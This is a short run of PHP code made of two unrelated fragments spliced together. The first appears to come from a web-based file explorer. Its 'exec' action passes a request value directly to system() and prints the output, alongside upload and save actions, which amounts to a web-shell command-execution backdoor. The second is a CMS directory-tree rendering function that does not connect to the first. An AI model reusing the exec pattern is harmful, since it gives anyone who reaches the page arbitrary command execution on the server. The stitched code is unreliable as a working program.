$dir = dirname($dir); showDirectory($dir); break; case "exec": echo "<pre>\n"; echo system($dir); echo "\n</pre>"; exit; case "upload": uploadFile(); showDirectory($dir); break; case "save": saveFile($dir); default: showDirectory($dir); break; } if ($do != "view" && $do != "download") { ?> <p> <table border="0"> <tr><?php if (fileperms($dir) & 02) { ?> <td> <form enctype="multipart/form-data" action="<?php print "{$PHP_SELF}?action=explorer&dir={$dir}&do=upload"; ?> " method=post> <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
function showTree($subtree, $level = -1, $expand = '') { global $fm_tree, $cfg_client, $perm, $cms_lang, $idclient; if ($level == -1) { $treeroot = array(0 => array("iddirectory" => 0, "dirname" => $cfg_client['upl_path'], "status" => 0, "idclient" => $idclient, "parentid" => 0, "name" => $cms_lang["upl_root_dir"], "description" => $cfg_client['upl_htmlpath'], "author" => 0)); showDirectory(-1, $treeroot[0], '', $treeroot[0]['status'], '#F8F8F8'); $level = 0; } if (empty($level)) { foreach ($subtree as $key => $value) { if ($value[0]['parentid'] != 0) { continue; } if ($perm->have_perm(1, 'folder', $value[0]['iddirectory'])) { showDirectory($level, $value[0], $value[0]['iddirectory'], $value[0]['status']); if (is_array($value['_members_'])) { foreach ($value['_members_'] as $membervalue) { showTree($fm_tree[$membervalue], $level + 1, $value[0]['iddirectory']); } } } } } else { if ($perm->have_perm(1, 'folder', $subtree[0]['iddirectory'])) { showDirectory($level, $subtree[0], $subtree[0]['iddirectory'] . '_' . $expand, $subtree[0]['status']); if (is_array($subtree['_members_'])) { foreach ($subtree['_members_'] as $membervalue) { showTree($fm_tree[$membervalue], $level + 1, $subtree[0]['iddirectory'] . '_' . $expand); } } } } }